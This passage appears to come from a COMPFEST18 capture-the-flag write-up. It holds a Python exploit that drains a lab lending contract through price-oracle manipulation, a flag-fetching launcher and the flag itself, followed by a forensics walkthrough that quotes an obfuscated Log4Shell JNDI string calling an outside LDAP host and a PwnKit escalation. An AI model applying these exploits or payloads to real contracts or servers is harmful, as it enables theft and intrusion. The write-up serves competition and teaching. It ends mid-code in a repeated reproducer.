            receipt = self.call("eth_getTransactionReceipt", [tx_hash])
            if receipt is not None:
                if int(receipt["status"], 16) != 1:
                    raise RuntimeError(f"transaction reverted: {tx_hash}")
                print(f"confirmed {tx_hash}")
                return receipt
            time.sleep(0.25)
        raise TimeoutError(f"timed out waiting for {tx_hash}")


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("--rpc", required=True)
    parser.add_argument("--private-key", required=True)
    parser.add_argument("--setup", required=True)
    parser.add_argument("--player", required=True)
    args = parser.parse_args()

    rpc = Rpc(args.rpc)
    token = decode_address(rpc.eth_call(args.setup, encode_call("token()")))
    proxy = decode_address(rpc.eth_call(args.setup, encode_call("proxy()")))
    lending = decode_address(rpc.eth_call(args.setup, encode_call("lending()")))
    pool_wei = int(rpc.call("eth_getBalance", [lending, "latest"]), 16)
    collateral = 100_000 * 10**18

    print(f"token={token}")
    print(f"proxy={proxy}")
    print(f"lending={lending}")
    print(f"pool_wei={pool_wei}")

    rpc.send(args.private_key, token, encode_call("mint(address,uint256)", args.player, collateral))
    rpc.send(args.private_key, token, encode_call("approve(address,uint256)", lending, collateral))
    rpc.send(args.private_key, lending, encode_call("depositToken(uint256)", collateral))
    rpc.send(args.private_key, proxy, price_slot_multicall())
    rpc.send(args.private_key, lending, encode_call("borrowETH(uint256)", pool_wei))

    remaining = int(rpc.call("eth_getBalance", [lending, "latest"]), 16)
    solved = int(rpc.eth_call(args.setup, encode_call("isSolved()")), 16) != 0
    print(f"remaining_pool_wei={remaining}")
    print(f"isSolved={str(solved).lower()}")
    if remaining != 0 or not solved:
        raise SystemExit("exploit did not satisfy the setup")


if __name__ == "__main__":
    main()

launcher.py

import argparse, base64, json, subprocess, sys, time
from pathlib import Path

import requests

HERE = Path(__file__).resolve().parent
POW_MODULUS = (1 << 1279) - 1
POW_EXPONENT = 1 << 1277


def solve_pow(challenge):
    version, difficulty_b64, seed_b64 = challenge.split(".")
    if version != "s":
        raise ValueError("unsupported proof-of-work version")
    difficulty = int.from_bytes(base64.b64decode(difficulty_b64), "big")
    value = int.from_bytes(base64.b64decode(seed_b64), "big")
    for _ in range(difficulty):
        value = 1 ^ pow(value, POW_EXPONENT, POW_MODULUS)
    size = max((value.bit_length() + 7) // 8, 160)
    return "s." + base64.b64encode(value.to_bytes(size, "big")).decode()


def launch(base):
    session = requests.Session()
    challenge = session.get(f"{base}/challenge", timeout=15).json()["challenge"]
    difficulty = int.from_bytes(base64.b64decode(challenge.split(".")[1]), "big")
    print(f"proof-of-work: difficulty {difficulty}", flush=True)
    session.post(f"{base}/solution", json={"solution": solve_pow(challenge)},
                 timeout=30).raise_for_status()
    print("proof-of-work: accepted", flush=True)
    response = session.post(f"{base}/launch", timeout=120)
    response.raise_for_status()
    payload = response.json()
    try:
        payload.setdefault("_data", session.get(f"{base}/data", timeout=15).json())
    except requests.RequestException:
        pass
    return session, payload


def flatten(payload):
    out = {}

    def visit(node):
        if isinstance(node, dict):
            for key, value in node.items():
                if isinstance(value, (str, int)):
                    out[key] = value
                else:
                    visit(value)
        elif isinstance(node, list):
            for value in node:
                visit(value)

    visit(payload)
    return out


def fetch_flag(session, base, attempts=3, delay=1):
    for attempt in range(attempts):
        for method in ("post", "get"):
            response = getattr(session, method)(f"{base}/flag", timeout=10)
            if response.ok:
                text = response.text
                try:
                    data = response.json()
                    text = json.dumps(data)
                except ValueError:
                    pass
                if "COMPFEST18{" in text:
                    start = text.index("COMPFEST18{")
                    return text[start:text.index("}", start) + 1]
        if attempt + 1 < attempts:
            time.sleep(delay)
    raise RuntimeError("launcher did not release a flag")


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("--base", required=True, help="<target host, port>")
    parser.add_argument("--mode", choices=["coin", "timekeeper"], required=True)
    args = parser.parse_args()
    base = args.base.rstrip("/")

    session, payload = launch(base)
    fields = flatten(payload)
    print("launcher fields:", sorted(fields), flush=True)

    if args.mode == "coin":
        work = HERE / "work"
        work.mkdir(exist_ok=True)
        (work / "launch.json").write_text(json.dumps(payload))
        source = (HERE / "solve.py").read_text()
        (HERE / "solve.py").write_text(
            source.replace('ORIGIN = "<target host, port>"', f'ORIGIN = "{base}"'))
        command = [sys.executable, str(HERE / "solve.py")]
    else:
        command = [
            sys.executable, str(HERE / "exploit.py"),
            "--rpc", fields["RPC_URL"].replace("{ORIGIN}", base),
            "--private-key", fields["PRIVKEY"],
            "--setup", fields.get("SETUP_CONTRACT_ADDR") or fields["SETUP"],
            "--player", fields["WALLET_ADDR"],
        ]

    code = subprocess.run(command, cwd=HERE).returncode
    print("solver exit:", code, flush=True)
    if code != 0:
        return code
    time.sleep(2)
    print("FLAG:", fetch_flag(session, base))
    return 0


if __name__ == "__main__":
    sys.exit(main())

Final Flag

COMPFEST18{t1m3k33p3r_pr1c3_0r4cl3_m4n1p_v14_st0r4g3_c0ll1s10n_le4k3dddddd_n0000000}

Forensics

16. BurhanGuild Loader Incident

Steps

1. Verify all 13 artifacts against integrity_manifest.json and confirm that every one of them matches, then read the capture timestamps and confirm that all of them fall inside the declared window. Record both of those hypotheses as falsified rather than skipping them.

2. Parse every BGMR record in all five captures using the format implemented by the shipped plugin and dump all of the views. Note that kind 8 is undocumented by the plugin and is in fact a CVE candidate list (CVE-2021-44228, CVE-2021-4034 and CVE-2022-0847) that is identical in every capture.

3. Carve the embedded ZIP archives out of page_01.bin, page_03.bin, page_05.bin and page_07.bin and read each case_fragment.json. Only page_05 has a host of orion-lab, and it pairs with capture_A812, while page_00, page_02, page_04 and page_06 are slack with no archive.

4. Cross-check the pairing inside the captures themselves, using the maps, the process list against the process scan, the sockets and the file records, and exclude the other four captures for the concrete reasons listed above.

5. Carve the kind-9 ELF out of capture_A812 and confirm its sha256 against the REGION SHA256 reported by kind 5.

6. Statically reverse sub_1100 (the KDF), sub_13e0 (XTEA) and sub_1500 (the CTR driver) using only readelf and objdump, without executing anything. Reimplement all three and decrypt the CFG3 blob using the BG_MUTEX value, the 8-byte heap key and the 10-byte build id taken from the same capture.

7. Confirm the resulting plaintext with the crc32 self-check that the configuration carries.

8. Recover the 473-byte deleted archive verbatim from page_05.bin at offset 0x603a2 (sha256 4bd20e26…), which closes the loop between volatile memory and deleted storage.

9. Build the timeline from the process, environment, maps and socket views:

   10:55:10Z  pid 1    systemd
   11:07:44Z  pid 4693 java (ppid 913, JAVA_HOME=/opt/gateway-jre)
              heap 0x555500008000 holds
              ${${lower:j}${lower:n}${lower:d}${lower:i}:ldap://172.19.0.66:1389/BurhanGuild}
              -> Log4Shell, CVE-2021-44228
   11:08:17Z  pid 4742 pkexec (ppid 4693), env GCONV_PATH=/tmp/.bg/gconv
              -> PwnKit privilege escalation, CVE-2021-4034
   11:08:22Z  pid 4787 masquerading as [kworker/u8:7] (ppid 4742), hidden from the process list
              (scan-only), BG_MUTEX=bguild-ce104cb0
              RWX map 0x7f100008f000 memfd:libpam_bg.so (deleted), build_id 542715c2e46252e4d790
              socket 10.10.18.26:42110 -> morrow-gate.wreckit.invalid:8443 ESTABLISHED
              deleted /dev/shm/.bg-cache/e0bafe9e.zip, 473 B
   11:09:18Z  capture_A812 acquired

10. Assemble the proof token exactly as the token_schema of the configuration prescribes, where digest = sha256(jndi_string | build_id | implant_id | c2_host | archive_sha256) and the | stands for the separator that the schema itself declares:

    BGLPROOF{orion-lab__cap-A812__loader-4787__implant-BG-94C2A04EC6__build-542715c2e46252e4d790
             __config-360251a5def08d12cb71e72d5a1609b0d34c9dfc9520197ad8b0cc2cd7cfb76b
             __archive-4bd20e26a2e63e75af61b07af3cf5dc219ca11a018588a3ce0ee4564338cf64a
             __digest-836d4fce93ec7b3077ab7c97820d29515ea5609cf346e40b76973ca37e2418ed}

    The token is a single line when it is sent to the service and is wrapped here only so that it fits on the page.

11. Connect to the questionnaire service, which asks exactly one question — *"Submit the final incident proof token for this case."* — and answer it with the assembled token, which the service accepts with ✔ CORRECT before returning the flag. The whole interaction took three connections and required no brute force.

Reproducer

The following self-contained reproducer runs in roughly two seconds. It verifies the hashes, parses all ten BGMR record kinds, carves the page archives, encodes the in-event and out-of-event decision as executable assertions, carves the loader ELF, reimplements the KDF and the XTEA-CTR construction, checks the configuration CRC32, prints the timeline, and emits the proof token. The --remote option replays the exchange with the questionnaire service.

import argparse, hashlib, ipaddress, json, os, re, struct, sys, zlib
from datetime import datetime, timezone
from pathlib import Path

MAGIC  = b"BGMR"
HEADER = struct.Struct(">4sBBI")
M32    = 0xFFFFFFFF

class Cur:
    def __init__(self, d): self.d, self.p = d, 0
    def take(self, n):
        assert self.p + n <= len(self.d), "truncated record"
        r = self.d[self.p:self.p+n]; self.p += n; return r
    def up(self, f):
        s = struct.Struct(f); return s.unpack(self.take(s.size))
    def t8(self):  return self.take(self.up(">B")[0]).decode()
    def t16(self): return self.take(self.up(">H")[0]).decode()

def records(path):
    data, pos, out = Path(path).read_bytes(), 0, []
    while True:
        off = data.find(MAGIC, pos)
        if off < 0: break
        magic, ver, kind, size = HEADER.unpack_from(data, off)
        if magic != MAGIC or ver != 3:
            pos = off + 1; continue
        s = off + HEADER.size; e = s + size
        assert size <= 16*1024*1024 and e <= len(data), "bad record length"
        out.append((kind, off, data[s:e])); pos = e
    return out

def iso(ts): return datetime.fromtimestamp(ts, timezone.utc).strftime("%Y-%m-%dT%H:%M:%SZ")

def parse_capture(path):
    by = {}
    for kind, off, body in records(path):
        by.setdefault(kind, []).append((off, body))
    one = lambda k: by[k][0][1]
    cap = {"file": Path(path).name}

    t, nproc, boot, klen = struct.unpack_from(">QH20sB", one(1))
    cap["capture_time"] = iso(t); cap["processes_total"] = nproc
    cap["boot_id"] = boot.hex(); cap["kernel"] = one(1)[31:31+klen].decode()

    c = Cur(one(2)); nl, ns = c.up(">HH"); procs = []
    for src, n in (("list", nl), ("scan", ns)):
        for _ in range(n):
            pid, ppid, st = c.up(">IIQ")
            procs.append({"source": src, "pid": pid, "ppid": ppid,
                          "started": iso(st), "comm": c.t8()})
    cap["processes"] = procs

    c = Cur(one(3)); env = []
    for _ in range(c.up(">H")[0]):
        env.append({"pid": c.up(">I")[0], "key": c.t8(), "value": c.t16()})
    cap["env"] = env

    c = Cur(one(4)); pid, n = c.up(">IH"); heap = []
    for _ in range(n):
        addr, size = c.up(">QI"); frag = c.take(size)
        heap.append({"pid": pid, "address": addr, "raw": frag,
                     "printable": all(32 <= b < 127 for b in frag)})
    cap["heap"] = heap

    c = Cur(one(5)); pid, addr = c.up(">IQ")
    cap["map"] = {"pid": pid, "address": addr, "perms": c.take(4).decode(),
                  "name": c.t8(), "build_id": c.take(10).hex(),
                  "region_sha256": c.take(32).hex()}

    c = Cur(one(6)); states = {1: "ESTABLISHED", 2: "CLOSED", 3: "LISTEN"}; net = []
    for _ in range(c.up(">H")[0]):
        pid = c.up(">I")[0]; lip = str(ipaddress.ip_address(c.take(4)))
        lport = c.up(">H")[0]; rem = c.t8(); rport, st = c.up(">HB")
        net.append({"pid": pid, "local": f"{lip}:{lport}",
                    "remote": f"{rem}:{rport}", "state": states.get(st, st)})
    cap["net"] = net

    c = Cur(one(7)); modes = {1: "deleted", 2: "read", 3: "write"}; files = []
    for _ in range(c.up(">H")[0]):
        pid, fd, mode = c.up(">IHB"); p = c.t16(); inode, size = c.up(">QI")
        files.append({"pid": pid, "fd": fd, "mode": modes.get(mode, mode),
                      "path": p, "inode": inode, "size": size,
                      "evidence_ref": c.t8()})
    cap["files"] = files

    c = Cur(one(8)); cves = []
    while c.p < len(c.d): cves.append(c.t8())
    cap["cves"] = cves

    cap["region"] = one(9)

    c = Cur(one(10))
    cap["supply"] = {"package": c.t8(), "advisory": c.t8(),
                     "version": c.t8(), "assessment": c.t16()}
    return cap

def rol32(v, r):
    r &= 31
    return ((v << r) | (v >> (32 - r))) & M32

def kdf(mutex: bytes, key8: bytes, build_id10: bytes, domain=b"eir-v3") -> bytes:
    st = [0x243F6A88, 0x85A308D3, 0x13198A2E, 0x03707344]
    rnd = 0
    for i, c in enumerate(mutex + key8 + build_id10 + domain):
        y = st[(i + 1) & 3]
        t = ((((y << 6) & M32) + (y >> 2) + 0x9E3779B9 + c) & M32) ^ st[i & 3]
        t = rol32(t, 5 + (i % 13))
        st[i & 3] = t
        st[(i + 2) & 3] = (st[(i + 2) & 3] + (t ^ rnd)) & M32
        rnd = (rnd + 0x045D9F3B) & M32
    return b"".join(struct.pack(">I", x) for x in st)

def xtea(block8: bytes, key16: bytes, rounds=32) -> bytes:
    v0, v1 = struct.unpack(">II", block8); k = struct.unpack(">4I", key16)
    s, delta = 0, 0x9E3779B9
    for _ in range(rounds):
        v0 = (v0 + ((((v1 << 4) ^ (v1 >> 5)) + v1) ^ (s + k[s & 3]))) & M32
        s = (s + delta) & M32
        v1 = (v1 + ((((v0 << 4) ^ (v0 >> 5)) + v0) ^ (s + k[(s >> 11) & 3]))) & M32
    return struct.pack(">II", v0, v1)

def decrypt_cfg(region: bytes, mutex: bytes, key8: bytes, build_id10: bytes) -> bytes:
    off = region.find(b"CFG3")
    assert off >= 0, "no CFG3 blob"
    n = struct.unpack_from(">I", region, off + 4)[0]
    ct = region[off + 8: off + 8 + n]
    key = kdf(mutex, key8, build_id10)
    out = bytearray()
    for i in range((len(ct) + 7) // 8):
        ks = xtea(key8[0:4] + b"\x00\x00\x00" + bytes([i]), key)
        out += bytes(a ^ b for a, b in zip(ct[i*8:i*8+8], ks))
    return bytes(out[:len(ct)])

def cfg_crc_ok(pt: bytes) -> bool:
    j = json.loads(pt); claimed = j.pop("crc32")
    body = json.dumps(j, separators=(",", ":"), sort_keys=True).encode()
    return "%08x" % (zlib.crc32(body) & M32) == claimed

def carve_zip(page: bytes):
    s = page.find(b"PK\x03\x04")
    if s < 0: return None
    e = page.find(b"PK\x05\x06", s)
    if e < 0: return None
    clen = struct.unpack_from("<H", page, e + 20)[0]
    return page[s: e + 22 + clen]

def normalize_jndi(s: str) -> str:
    prev = None
    while prev != s:
        prev = s
        s = re.sub(r"\$\{(?:lower|upper):(.)\}", lambda m: m.group(1), s)
    return s

def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--root", default="BurhanGuild-Loader-Incident",
                    help="the unpacked attachment directory")
    ap.add_argument("--remote", action="store_true",
                    help="send the token to <target host, port>")
    ap.add_argument("--outdir", default=str(Path(__file__).resolve().parent / "evidence"))
    a = ap.parse_args()
    root = Path(a.root); out = Path(a.outdir); out.mkdir(parents=True, exist_ok=True)
    man = json.loads((root / "artifacts" / "integrity_manifest.json").read_text())

    print("== 1. integrity ==")
    ok = True
    for sub, group in (("captures", "captures"), ("deleted_pages", "deleted_pages")):
        for name, want in man[group].items():
            got = hashlib.sha256((root / "artifacts" / sub / name).read_bytes()).hexdigest()
            ok &= (got == want)
            print(f"  {name:<20} {'OK ' if got == want else 'MISMATCH'} {got}")
    print(f"  case={man['case_id']} host={man['host']} window={man['capture_window']}")
    assert ok, "integrity failure -- artifacts are not evidence"

    print("\n== 2. deleted-storage page fragments ==")
    frags = {}
    for p in sorted((root / "artifacts" / "deleted_pages").glob("page_*.bin")):
        z = carve_zip(p.read_bytes())
        if z is None:
            print(f"  {p.name}: no archive (random slack)"); continue
        (out / (p.stem + ".zip")).write_bytes(z)
        import io, zipfile
        zf = zipfile.ZipFile(io.BytesIO(z))
        meta = json.loads(zf.read("case_fragment.json"))
        meta["_zip"] = z; meta["_page"] = p.name
        meta["_sha256"] = hashlib.sha256(z).hexdigest()
        meta["_log"] = zf.read("transfer.log").decode()
        frags[meta["capture_id"]] = meta
        print(f"  {p.name}: cap={meta['capture_id']} host={meta['host']:<13} "
              f"collection={meta['collection']:<17} ref={meta['evidence_ref']} "
              f"size={len(z)} sha256={meta['_sha256']}")

    print("\n== 3. captures ==")
    caps = {}
    for p in sorted((root / "artifacts" / "captures").glob("capture_*.raw")):
        c = parse_capture(p); tag = p.stem.split("_")[1]; caps[tag] = c
        (out / f"region_{tag}.bin").write_bytes(c["region"])
        assert hashlib.sha256(c["region"]).hexdigest() == c["map"]["region_sha256"]
        env = {e["key"]: (e["pid"], e["value"]) for e in c["env"]}
        key8 = next((h for h in c["heap"] if not h["printable"] and len(h["raw"]) == 8), None)
        c["mutex"] = env.get("BG_MUTEX")
        c["key8"] = key8["raw"] if key8 else None
        c["frag"] = frags.get(tag)
        print(f"  {p.name}  t={c['capture_time']}  boot={c['boot_id'][:12]}..  "
              f"map={c['map']['name']} ({c['map']['perms']}) pid={c['map']['pid']}")
        print(f"      BG_MUTEX={c['mutex']}  key8="
              f"{c['key8'].hex() if c['key8'] else None}  build_id={c['map']['build_id']}")
        print(f"      net={[n['remote'] for n in c['net']]}  "
              f"files={[(f['mode'], f['path'], f['size'], f['evidence_ref']) for f in c['files']]}")
        print(f"      supply={c['supply']['version']}  frag_host="
              f"{c['frag']['host'] if c['frag'] else None}")

    print("\n== 4. in-event decision ==")
    inev, excl = [], {}
    for tag, c in caps.items():
        reasons = []
        if c["frag"] is None:
            reasons.append("no deleted-page case fragment corroborates this capture")
        else:
            if c["frag"]["host"] != man["host"]:
                reasons.append(f"fragment host={c['frag']['host']} != manifest host={man['host']}")
            if not any(f["evidence_ref"] == c["frag"]["evidence_ref"] for f in c["files"]):
                reasons.append("capture file record does not reference the fragment evidence_ref")
        if c["mutex"] is None:  reasons.append("no BG_MUTEX implant marker")
        if c["key8"] is None:   reasons.append("no 8-byte loader key in heap")
        if "libpam_bg" not in c["map"]["name"]:
            reasons.append(f"mapped region is {c['map']['name']}, not memfd:libpam_bg.so")
        if "w" not in c["map"]["perms"] or "x" not in c["map"]["perms"]:
            reasons.append(f"region perms {c['map']['perms']} are not RWX")
        pids = {p["pid"] for p in c["processes"]}
        lp = c["map"]["pid"]
        if lp not in pids: reasons.append(f"loader pid {lp} absent from process list/scan")
        if not any(n["pid"] == lp and n["state"] == "ESTABLISHED" for n in c["net"]):
            reasons.append(f"no ESTABLISHED C2 socket owned by pid {lp}")
        if reasons: excl[tag] = reasons
        else:       inev.append(tag)
    for tag in sorted(caps):
        if tag in excl:
            print(f"  EXCLUDE capture_{tag}: " + "; ".join(excl[tag]))
    print(f"  IN-EVENT: {inev}")
    assert len(inev) == 1, f"expected exactly one in-event capture, got {inev}"
    tag = inev[0]; c = caps[tag]

    print("\n== 5. loader config ==")
    pt = decrypt_cfg(c["region"], c["mutex"][1].encode(), c["key8"], bytes.fromhex(c["map"]["build_id"]))
    assert cfg_crc_ok(pt), "config crc32 self-check failed"
    (out / f"config_{tag}.json").write_bytes(pt)
    cfg = json.loads(pt)
    print("  crc32 self-check OK")
    print("  " + json.dumps(cfg, indent=2).replace("\n", "\n  "))
    assert cfg["c2_domain"] in {n["remote"].rsplit(":", 1)[0] for n in c["net"]},\
        "config C2 not corroborated by socket table"

    print("\n== 6. timeline ==")
    tl = []
    for p in c["processes"]:
        if p["source"] == "scan" or p["pid"] == 1 or p["comm"] != "[kworker/u8:7]":
            tl.append((p["started"], f"pid {p['pid']} ({p['comm']}) started, ppid {p['ppid']}"))
    tl.append((c["capture_time"], f"capture_{tag} acquired (boot_id {c['boot_id']})"))
    seen = set()
    for t, e in sorted(tl):
        if (t, e) in seen: continue
        seen.add((t, e)); print(f"  {t}  {e}")

    print("\n== 7. closure token ==")
    jndi = normalize_jndi(next(h["raw"].decode() for h in c["heap"]
                               if h["printable"] and "ldap://" in h["raw"].decode()))
    build_id = c["map"]["build_id"]
    archive  = c["frag"]["_sha256"]
    cfg_sha  = hashlib.sha256(pt).hexdigest()
    sep      = cfg["closure_contract"]["digest_separator"]
    fields   = {"jndi_normalized": jndi, "build_id": build_id,
                "implant_id": cfg["implant_id"], "c2_domain": cfg["c2_domain"],
                "archive_sha256": archive}
    material = sep.join(fields[k] for k in cfg["closure_contract"]["digest_fields"])
    digest   = hashlib.sha256(material.encode()).hexdigest()
    print(f"  jndi_normalized = {jndi}")
    print(f"  digest material = {material}")
    tok = cfg["closure_contract"]["token_schema"]
    for k, v in {"capture_id": tag, "loader_pid": str(c["map"]["pid"]),
                 "implant_id": cfg["implant_id"], "build_id": build_id,
                 "config_sha256": cfg_sha, "archive_sha256": archive,
                 "digest": digest}.items():
        tok = tok.replace("{" + k + "}", v)
    print("\n  TOKEN: " + tok)
    (out / "token_candidate.txt").write_text(tok + "\n")

    if a.remote:
        import time
        from pwn import remote as pwnremote, context
        context.log_level = "error"
        r = pwnremote(a.host, a.port, timeout=25)
        buf, t0 = b"", time.time()
        while time.time() - t0 < 10:
            try:
                d = r.recv(timeout=2)
                if not d: break
                buf += d
                if b"Answer:" in buf: break
            except Exception: break
        sys.stdout.write(buf.decode(errors="replace"))
        print("\n>>> SENDING: " + tok)
        r.sendline(tok.encode())
        buf2, t0 = b"", time.time()
        while time.time() - t0 < 15:
            try:
                d = r.recv(timeout=3)
                if not d: break
                buf2 += d
            except Exception: break
        sys.stdout.write(buf2.decode(errors="replace"))
        r.close()

if __name__ == "__main__":
    main()

Exploit

import argparse, hashlib, ipaddress, json, os, re, struct, sys, zlib
from datetime import datetime, timezone
from pathlib import Path

MAGIC  = b"BGMR"
HEADER = struct.Struct(">4sBBI")
M32    = 0xFFFFFFFF

class Cur:
    def __init__(self, d): self.d, self.p = d, 0
    def take(self, n):
        assert self.p + n <= len(self.d), "truncated record"
        r = self.d[self.p:self.p+n]; self.p += n; return r
    def up(self, f):
        s = struct.Struct(f); return s.unpack(self.take(s.size))
    def t8(self):  return self.take(self.up(">B")[0]).decode()
    def t16(self): return self.take(self.up(">H")[0]).decode()

def records(path):
    data, pos, out = Path(path).read_bytes(), 0, []
    while True:
        off = data.find(MAGIC, pos)
        if off < 0: break
        magic, ver, kind, size = HEADER.unpack_from(data, off)
        if magic != MAGIC or ver != 3:
            pos = off + 1; continue
        s = off + HEADER.size; e = s + size
        assert size <= 16*1024*1024 and e <= len(data), "bad record length"
        out.append((kind, off, data[s:e])); pos = e
    return out

def iso(ts): return datetime.fromtimestamp(ts, timezone.utc).strftime("%Y-%m-%dT%H:%M:%SZ")

def parse_capture(path):
    by = {}
    for kind, off, body in records(path):
        by.setdefault(kind, []).append((off, body))
    one = lambda k: by[k][0][1]
    cap = {"file": Path(path).name}

    t, nproc, boot, klen = struct.unpack_from(">QH20sB", one(1))
    cap["capture_time"] = iso(t); cap["processes_total"] = nproc
    cap["boot_id"] = boot.hex(); cap["kernel"] = one(1)[31:31+klen].decode()

    c = Cur(one(2)); nl, ns = c.up(">HH"); procs = []
    for src, n in (("list", nl), ("scan", ns)):
        for _ in range(n):
            pid, ppid, st = c.up(">IIQ")
            procs.append({"source": src, "pid": pid, "ppid": ppid,
                          "started": iso(st), "comm": c.t8()})
    cap["processes"] = procs

    c = Cur(one(3)); env = []
    for _ in range(c.up(">H")[0]):
        env.append({"pid": c.up(">I")[0], "key": c.t8(), "value": c.t16()})
    cap["env"] = env

    c = Cur(one(4)); pid, n = c.up(">IH"); heap = []
    for _ in range(n):
        addr, size = c.up(">QI"); frag = c.take(size)
        heap.append({"pid": pid, "address": addr, "raw": frag,
                     "printable": all(32 <= b < 127 for b in frag)})
    cap["heap"] = heap

    c = Cur(one(5)); pid, addr = c.up(">IQ")
    cap["map"] = {"pid": pid, "address": addr, "perms": c.take(4).decode(),
                  "name": c.t8(), "build_id": c.take(10).hex(),
                  "region_sha256": c.take(32).hex()}

    c = Cur(one(6)); states = {1: "ESTABLISHED", 2: "CLOSED", 3: "LISTEN"}; net = []
    for _ in range(c.up(">H")[0]):
        pid = c.up(">I")[0]; lip = str(ipaddress.ip_address(c.take(4)))
        lport = c.up(">H")[0]; rem = c.t8(); rport, st = c.up(">HB")
        net.append({"pid": pid, "local": f"{lip}:{lport}",
                    "remote": f"{rem}:{rport}", "state": states.get(st, st)})
    cap["net"] = net

    c = Cur(one(7)); modes = {1: "deleted", 2: "read", 3: "write"}; files = []
    for _ in range(c.up(">H")[0]):
        pid, fd, mode = c.up(">IHB"); p = c.t16(); inode, size = c.up(">QI")
        files.append({"pid": pid, "fd": fd, "mode": modes.get(mode, mode),
                      "path": p, "inode": inode, "size": size,
                      "evidence_ref": c.t8()})
    cap["files"] = files

    c = Cur(one(8)); cves = []
    while c.p < len(c.d): cves.append(c.t8())
    cap["cves"] = cves

    cap["region"] = one(9)

    c = Cur(one(10))
    cap["supply"] = {"package": c.t8(), "advisory": c.t8(),
                     "version": c.t8(), "assessment": c.t16()}
    return cap

def rol32(v, r):
    r &= 31
    return ((v << r) | (v >> (32 - r))) & M32

def kdf(mutex: bytes, key8: bytes, build_id10: bytes, domain=b"eir-v3") -> bytes:
    st = [0x243F6A88, 0x85A308D3, 0x13198A2E, 0x03707344]
    rnd = 0
    for i, c in enumerate(mutex + key8 + build_id10 + domain):
        y = st[(i + 1) & 3]
        t = ((((y << 6) & M32) + (y >> 2) + 0x9E3779B9 + c) & M32) ^ st[i & 3]
        t = rol32(t, 5 + (i % 13))
        st[i & 3] = t
        st[(i + 2) & 3] = (st[(i + 2) & 3] + (t ^ rnd)) & M32
        rnd = (rnd + 0x045D9F3B) & M32
    return b"".join(struct.pack(">I", x) for x in st)

def xtea(block8: bytes, key16: bytes, rounds=32) -> bytes:
    v0, v1 = struct.unpack(">II", block8); k = struct.unpack(">4I", key16)
    s, delta = 0, 0x9E3779B9
    for _ in range(rounds):
        v0 = (v0 + ((((v1 << 4) ^ (v1 >> 5)) + v1) ^ (s + k[s & 3]))) & M32
        s = (s + delta) & M32
        v1 = (v1 + ((((v0 << 4) ^ (v0 >> 5)) + v0) ^ (s + k[(s >> 11) & 3]))) & M32
    return struct.pack(">II", v0, v1)

def decrypt_cfg(region: bytes, mutex: bytes, key8: bytes, build_id10: bytes) -> bytes:
    off = region.find(b"CFG3")
    assert off >= 0, "no CFG3 blob"
    n = struct.unpack_from(">I", region, off + 4)[0]
    ct = region[off + 8: off + 8 + n]
    key = kdf(mutex, key8, build_id10)
    out = bytearray()
    for i in range((len(ct) + 7) // 8):
        ks = xtea(key8[0:4] + b"\x00\x00\x00" + bytes([i]), key)
        out += bytes(a ^ b for a, b in zip(ct[i*8:i*8+8], ks))
    return bytes(out[:len(ct)])

def cfg_crc_ok(pt: bytes) -> bool:
    j = json.loads(pt); claimed = j.pop("crc32")
    body = json.dumps(j, separators=(",", ":"), sort_keys=True).encode()
    return "%08x" % (zlib.crc32(body) & M32) == claimed

def carve_zip(page: bytes):
    s = page.find(b"PK\x03\x04")
    if s < 0: return None
    e = page.find(b"PK\x05\x06", s)
    if e < 0: return None
    clen = struct.unpack_from("<H", page, e + 20)[0]
    return page[s: e + 22 + clen]

def normalize_jndi(s: str) -> str:
    prev = None
    while prev != s:
        prev = s
        s = re.sub(r"\$\{(?:lower|upper):(.)\}", lambda m: m.group(1), s)
    return s

def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--root", default=str(Path(__file__).resolve().parent /
                    "work" / "BurhanGuild-Loader-Incident"))
    ap.add_argument("--remote", action="store_true",
                    help="submit the token to <target host, port>")
    ap.add_argument("--host", help="<target host, port>")
    ap.add_argument("--port", type=int)
    ap.add_argument("--outdir", default=str(Path(__file__).resolve().parent / "evidence"))
    a = ap.parse_args()
    root = Path(a.root); out = Path(a.outdir); out.mkdir(parents=True, exist_ok=True)
    man = json.loads((root / "artifacts" / "integrity_manifest.json").read_text())

    print("== 1. integrity ==")
    ok = True
    for sub, group in (("captures", "captures"), ("deleted_pages", "deleted_pages")):
        for name, want in man[group].items():
            got = hashlib.sha256((root / "artifacts" / sub / name).read_bytes()).hexdigest()
            ok &= (got == want)
            print(f"  {name:<20} {'OK ' if got == want else 'MISMATCH'} {got}")
    print(f"  case={man['case_id']} host={man['host']} window={man['capture_window']}")
    assert ok, "integrity failure -- artifacts are not evidence"

    print("\n== 2. deleted-storage page fragments ==")
    frags = {}
    for p in sorted((root / "artifacts" / "deleted_pages").glob("page_*.bin")):
        z = carve_zip(p.read_bytes())
        if z is None:
            print(f"  {p.name}: no archive (random slack)"); continue
        (out / (p.stem + ".zip")).write_bytes(z)
        import io, zipfile
        zf = zipfile.ZipFile(io.BytesIO(z))
        meta = json.loads(zf.read("case_fragment.json"))
        meta["_zip"] = z; meta["_page"] = p.name
        meta["_sha256"] = hashlib.sha256(z).hexdigest()
        meta["_log"] = zf.read("transfer.log").decode()
        frags[meta["capture_id"]] = meta
        print(f"  {p.name}: cap={meta['capture_id']} host={meta['host']:<13} "
              f"collection={meta['collection']:<17} ref={meta['evidence_ref']} "
              f"size={len(z)} sha256={meta['_sha256']}")

    print("\n== 3. captures ==")
    caps = {}
    for p in sorted((root / "artifacts" / "captures").glob("capture_*.raw")):
        c = parse_capture(p); tag = p.stem.split("_")[1]; caps[tag] = c
        (out / f"region_{tag}.bin").write_bytes(c["region"])
        assert hashlib.sha256(c["region"]).hexdigest() == c["map"]["region_sha256"]
        env = {e["key"]: (e["pid"], e["value"]) for e in c["env"]}
        key8 = next((h for h in c["heap"] if not h["printable"] and len(h["raw"]) == 8), None)
        c["mutex"] = env.get("BG_MUTEX")
        c["key8"] = key8["raw"] if key8 else None
        c["frag"] = frags.get(tag)
        print(f"  {p.name}  t={c['capture_time']}  boot={c['boot_id'][:12]}..  "
              f"map={c['map']['name']} ({c['map']['perms']}) pid={c['map']['pid']}")
        print(f"      BG_MUTEX={c['mutex']}  key8="
              f"{c['key8'].hex() if c['key8'] else None}  build_id={c['map']['build_id']}")
        print(f"      net={[n['remote'] for n in c['net']]}  "
              f"files={[(f['mode'], f['path'], f['size'], f['evidence_ref']) for f in c['files']]}")
        print(f"      supply={c['supply']['version']}  frag_host="
              f"{c['frag']['host'] if c['frag'] else None}")

    print("\n== 4. in-event decision ==")
    inev, excl = [], {}
    for tag, c in caps.items():
        reasons = []
        if c["frag"] is None:
